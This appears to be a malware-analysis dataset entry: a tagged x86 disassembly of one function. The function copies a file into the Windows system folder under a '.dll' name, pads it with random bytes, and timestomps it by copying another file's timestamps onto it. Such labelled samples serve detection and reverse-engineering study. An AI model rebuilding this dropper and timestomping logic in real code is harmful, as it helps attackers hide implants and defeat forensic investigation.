Function at 0x403750
Capabilities:
Copy file
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5440be
mov eax, dword fs:[0]
push eax
sub esp, 0x888
mov eax, dword [0x5965b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
mov dword [ebp - 4], 0
push eax
mov word [ebp - 0x85c], ax
lea eax, [ebp - 0x85a]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x654], ax
lea eax, [ebp - 0x652]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x244], ax
lea eax, [ebp - 0x242]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x44c], ax
lea eax, [ebp - 0x44a]
push eax
call fcn.005170e0
add esp, 0xc
lea eax, [ebp - 0x654]
push dword [ebp + 8]
push 0x575744
push eax
call fcn.004052e0
add esp, 0xc
lea eax, [ebp - 0x85c]
push 0
push 0x25
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
xor edx, edx
lea ecx, [ebp - 0x890]
mov dword [ebp - 0x890], 0
call fcn.004027d0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x890]
cmp dword [eax - 0xc], 0
je 0x403b75
cmp dword [eax - 4], 1
jle 0x40386c
push dword [eax - 0xc]
lea ecx, [ebp - 0x890]
call fcn.00404570
mov eax, dword [ebp - 0x890]
push 0x5c
push eax
call fcn.00514ffe
add esp, 8
test eax, eax
je 0x403b6f
lea ecx, [eax + 2]
lea edx, [ebp - 0x44c]
sub edx, ecx
lea ebx, [ebx]
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x403890
lea eax, [ebp - 0x44c]
push 0x2e
push eax
call fcn.00514ffe
add esp, 8
test eax, eax
je 0x4038b9
xor ecx, ecx
mov word [eax], cx
xorps xmm0, xmm0
xor eax, eax
lea ecx, [ebp - 0x3c]
mov word [ebp - 0x3c], ax
movq qword [ebp - 0x3a], xmm0
movq qword [ebp - 0x32], xmm0
movq qword [ebp - 0x2a], xmm0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], eax
mov word [ebp - 0x16], ax
call fcn.00403be0
lea edx, [ebp - 0x3c]
mov esi, edx
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4038f0
lea edi, [ebp - 0x44c]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403906
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x44c]
add ecx, 0xfffffffe
lea esp, [esp]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x403930
mov eax, dword [str..dll]
mov dword [ecx], eax
mov eax, dword [0x57591c]
mov dword [ecx + 4], eax
mov ax, word [0x575920]
mov word [ecx + 8], ax
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x244]
push str._s_s
push eax
call fcn.004052e0
add esp, 0x10
lea eax, [ebp - 0x244]
push 0
push eax
lea eax, [ebp - 0x654]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403b6f
lea ecx, [ebp - 0x244]
call fcn.00403610
test eax, eax
je 0x403b6f
mov ecx, dword [ebp - 0x890]
cmp dword [ecx - 4], 1
jle 0x4039c8
push dword [ecx - 0xc]
lea ecx, [ebp - 0x890]
call fcn.00404570
mov ecx, dword [ebp - 0x890]
lea edx, [ebp - 0x244]
call fcn.00402da0
lea ecx, [ebp - 0x870]
mov dword [ebp - 0x86c], 0
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x860], 0
call fcn.004069a4
push 0
push 1
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x870]
mov byte [ebp - 4], 2
call fcn.00406ec4
mov eax, dword [ebp - 0x870]
push 2
push 0
push 0
lea ecx, [ebp - 0x870]
call dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.005161d7
add esp, 4
lea ecx, [ebp - 0x870]
call fcn.00406de7
mov ecx, eax
mov eax, 0x1b4e81b5
mul ecx
mov edi, edx
shr edi, 5
call fcn.005161b4
cdq
mov ecx, 3
idiv ecx
lea esi, [edx + 1]
imul esi, edi
call fcn.005161b4
cdq
mov ecx, 0x3e8
idiv ecx
mov edi, edx
add edi, esi
je 0x403aa2
lea esp, [esp]
call fcn.005161b4
mov dword [ebp - 0x874], eax
push 4
lea eax, [ebp - 0x874]
push eax
lea ecx, [ebp - 0x870]
call fcn.00407251
dec edi
jne 0x403a80
lea ecx, [ebp - 0x870]
call fcn.00406c82
mov eax, dword [ebp - 0x890]
cmp dword [eax - 4], 1
jle 0x403acd
push dword [eax - 0xc]
lea ecx, [ebp - 0x890]
call fcn.00404570
mov eax, dword [ebp - 0x890]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
call edi
mov esi, eax
test esi, esi
je 0x403b53
lea eax, [ebp - 0x88c]
push eax
lea eax, [ebp - 0x87c]
push eax
lea eax, [ebp - 0x884]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x244]
push eax
call edi
mov esi, eax
test esi, esi
je 0x403b53
lea eax, [ebp - 0x88c]
push eax
lea eax, [ebp - 0x87c]
push eax
lea eax, [ebp - 0x884]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
lea ecx, [ebp - 0x870]
mov edi, 1
mov byte [ebp - 4], 1
call fcn.00406a1a
mov eax, dword [ebp - 0x890]
jmp 0x403b77
mov eax, dword [ebp - 0x890]
xor edi, edi
lea edx, [eax - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x403b97
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov ebx, dword [ebp + 8]
add ebx, 0xfffffff0
lea eax, [ebx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x403bb8
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00514e2d
mov esp, ebp
pop ebp
ret